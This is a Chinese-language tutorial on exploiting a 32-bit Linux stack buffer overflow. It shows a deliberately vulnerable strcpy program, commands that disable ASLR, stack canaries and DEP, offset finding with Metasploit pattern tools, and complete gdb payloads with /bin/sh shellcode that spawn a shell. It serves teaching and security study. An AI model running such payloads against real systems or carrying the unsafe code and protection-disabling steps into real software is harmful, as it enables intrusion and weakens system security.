本节主要讲解了linux 32位系统栈溢出的利用原理。以一个实例,详细描述了linux栈溢出的原理和应用。
目录
1.栈溢出背景知识
栈
栈又称堆栈,由编译器自动分配释放,行为类似数据结构中的栈(先进后出)。堆栈主要有三个用途:
- 为函数内部声明的非静态局部变量(C语言中称“自动变量”)提供存储空间。
- 记录函数调用过程相关的维护性信息,称为栈帧(Stack Frame)或过程活动记录(Procedure Activation Record)。它包括函数返回地址,不适合装入寄存器的函数参数及一些寄存器值的保存。除递归调用外,堆栈并非必需。因为编译时可获知局部变量,参数和返回地址所需空间,并将其分配于BSS段。
- 临时存储区,用于暂存长算术表达式部分计算结果或alloca()函数分配的栈内内存。
持续地重用栈空间有助于使活跃的栈内存保持在CPU缓存中,从而加速访问。进程中的每个线程都有属于自己的栈。向栈中不断压入数据时,若超出其容量就会耗尽栈对应的内存区域,从而触发一个页错误。此时若栈的大小低于堆栈最大值RLIMIT_STACK(通常是8M),则栈会动态增长,程序继续运行。映射的栈区扩展到所需大小后,不再收缩。
Linux中ulimit -s命令可查看和设置堆栈最大值,当程序使用的堆栈超过该值时, 发生栈溢出(Stack Overflow),程序收到一个段错误(Segmentation Fault)。注意,调高堆栈容量可能会增加内存开销和启动时间。
堆栈既可向下增长(向内存低地址)也可向上增长, 这依赖于具体的实现。本文所述堆栈向下增长。
堆栈的大小在运行时由内核动态调整。
32位寄存器
- 4个数据寄存器(EAX、EBX、ECX和EDX)
- 2个变址和指针寄存器(ESI和EDI)
- 2个指针寄存器(ESP和EBP)
- 6个段寄存器(ES、CS、SS、DS、FS和GS)
- 1个指令指针寄存器(EIP)
- 1个标志寄存器(EFlags)
栈溢出利用主要涉及到了两类寄存器,指针寄存器和指令寄存器,
指针寄存器(PointerRegister):(寄存器EBP、ESP、BP和SP称为指针寄存器,主要用于存放堆栈内存储单元的偏移量,用它们可实现多种存储器操作数的寻址方式,为以不同的地址形式访问存储单元提供方便。它们主要用于访问堆栈内的存储单元,并且规定
- BP为基指针(BasePointer)寄存器,用它可直接存取堆栈中的数据;
- SP为堆栈指针(StackPointer)寄存器,用它只可访问栈顶。
指令指针寄存器(InstructionPointer): 是存放下次将要执行的指令在代码段的偏移量。在具有预取指令功能的系统中,下次要执行的指令通常已被预取到指令队列中,除非发生转移情况。所以,在理解它们的功能时,不考虑存在指令队列的情况。
2.栈溢出的原理
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序的指令指针。以下是一段栈溢出的代码,
//sbof.c
#include <stdio.h>
void stack_buffer_overflow(char str[])
{
char buff[32] = "";
strcpy(buff,str);
printf("%s\n",buff);
}
int main(int argc, char **argv){
stack_buffer_overflow(argv[1]);
}
为了实验能够让读者易于理解,在编译时取消各种保护机制,
首先关闭地址随机化ASLR,
echo 0 >/proc/sys/kernel/randomize_va_space 0
使用如下命令进行编译,
gcc -o sbof -z execstack -fno-stack-protector -g -m32 sbof.c
“-m 32”:32位编译,需要安装apt-get install gcc-multilib
“-z execstack”:DEP 可以防止应用运行用于暂存指令的那部分内存中的数据,从而保护电脑。 如果 DEP 发现某个运行此类数据的应用,它将关闭该应用并通知你。
“echo 0 >/proc/sys/kernel/randomize_va_space 0” :ASLR是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的的一种技术。
“-fno-stack-protector”:栈金丝雀,因其类似于煤矿中的金丝雀而命令,用于在恶意代码之前检测栈缓冲溢出。这种方法的原理就是,把一个小的整数值(在程序启动时随机选择)放入内存中,其位置恰好位于栈返回指针之前。大多数缓存溢出都是从低地址到高地址覆盖内存,所以,只要覆盖了栈的返回指针,那么这个“金丝雀”值也会被覆盖。在程序使用栈返回的指针之前,先检查这个值是否发生改变。
编译完成后gdb中执行调试,输入下面的命令给它灌入100个A
run $(python -c "print 'A' * 100")
产生段错误,并且当前的指令的地址被修改为41414141。这是因为函数的返回值因为溢出被修改。
查看main函数反汇编代码,找到stack_buffer_overflow()函数的返回值地址,0x56556248
在strcpy前加入断点进行调试,对比前后栈中值的变化。
执行strcpy前,返回值地址保存在栈上。
执行strcpy后,返回值地址被覆盖为41414141。
3.栈溢出的利用
本节通过利用上节中带有缓冲区溢出的代码,生成一个shell。
- 计算溢出偏移
通过msf-pattern_create获取定位payload,
root@kali:~/test# msf-pattern_create -l 128
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae
在gdb中传入定位payload,溢出后显示下一条指令为0x35624134。
使用msf-pattern_offset根据0x35624134获取具体偏移。偏移为44
root@kali:~/test# msf-pattern_offset -q 0x35624134
[*] Exact match at offset 44
- 确定shellcode位置
重新组合payload,确定shellcode位置,
python -c 'print "A" * 44 + "B" * 4 + "C" * 200'
查看当前esp,地址为0xffffd7d0。
查看esp地址的内存中的内容,被C填满,此处可以用来存放shellcode。
- 获取shellcode
shellcode的制作方法常用有三种:
- 手工制作;
- msfvenom生成;
- exploit-db网站直接获取。
本章不是以shellcode为重点,所以直接从exploit-db上获取一个32位的shell的shellcode。如果大家想要学习手工制作shellcode方法,可以留言,本人重新写一篇博文专门介绍。
这网站能够直接获取经过测试的shellcode。
搜索一个32位/bin/sh的shellcode。
选中这个,shellcode为,
\xd9\xee\x9b\xd9\x74\x24\xf4\x5f\x83\xc7\x25\x8d\x77\x08\x31\xc9\xb1\x04\x0f\x6f\x07\x0f\x6f\x0e\x0f\xef\xc1\x0f\x7f\x06\x83\xc6\x08\xe2\xef\xeb\x08\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x9b\x6a\xfa\xc2\x85\x85\xd9\xc2\xc2\x85\xc8\xc3\xc4\x23\x49\xfa\x23\x48\xf9\x23\x4b\x1a\xa1\x67\x2a
- 组合最终payload完成利用
第一次组合,寻找准确的esp地址。此处返回地址为BBBB。是因为当函数入参的长度变化后,栈顶(esp)对应的地址也会发生变化。所以需要先进行一次不成功的实验来确定esp在当前长度payload对应的值。
run $(python -c 'print "A"*44 +"B" * 4 + "\x90" * 32+ "\xd9\xee\x9b\xd9\x74\x24\xf4\x5f\x83\xc7\x25\x8d\x77\x08\x31\xc9\xb1\x04\x0f\x6f\x07\x0f\x6f\x0e\x0f\xef\xc1\x0f\x7f\x06\x83\xc6\x08\xe2\xef\xeb\x08\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x9b\x6a\xfa\xc2\x85\x85\xd9\xc2\xc2\x85\xc8\xc3\xc4\x23\x49\xfa\x23\x48\xf9\x23\x4b\x1a\xa1\x67\x2a"')
此时esp的值为0xffffd830。将这个值替换payload中的BBBB重新组合payload。
run $(python -c 'print "A"*44 +"\x30\xd8\xff\xff" + "\x90" * 32+ "\xd9\xee\x9b\xd9\x74\x24\xf4\x5f\x83\xc7\x25\x8d\x77\x08\x31\xc9\xb1\x04\x0f\x6f\x07\x0f\x6f\x0e\x0f\xef\xc1\x0f\x7f\x06\x83\xc6\x08\xe2\xef\xeb\x08\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x9b\x6a\xfa\xc2\x85\x85\xd9\xc2\xc2\x85\xc8\xc3\xc4\x23\x49\xfa\x23\x48\xf9\x23\x4b\x1a\xa1\x67\x2a"')
执行成功!
注:因为环境变量关系,在GDB之外漏洞程序执行该payload不会成功。这个问题大家网上已经有了解答。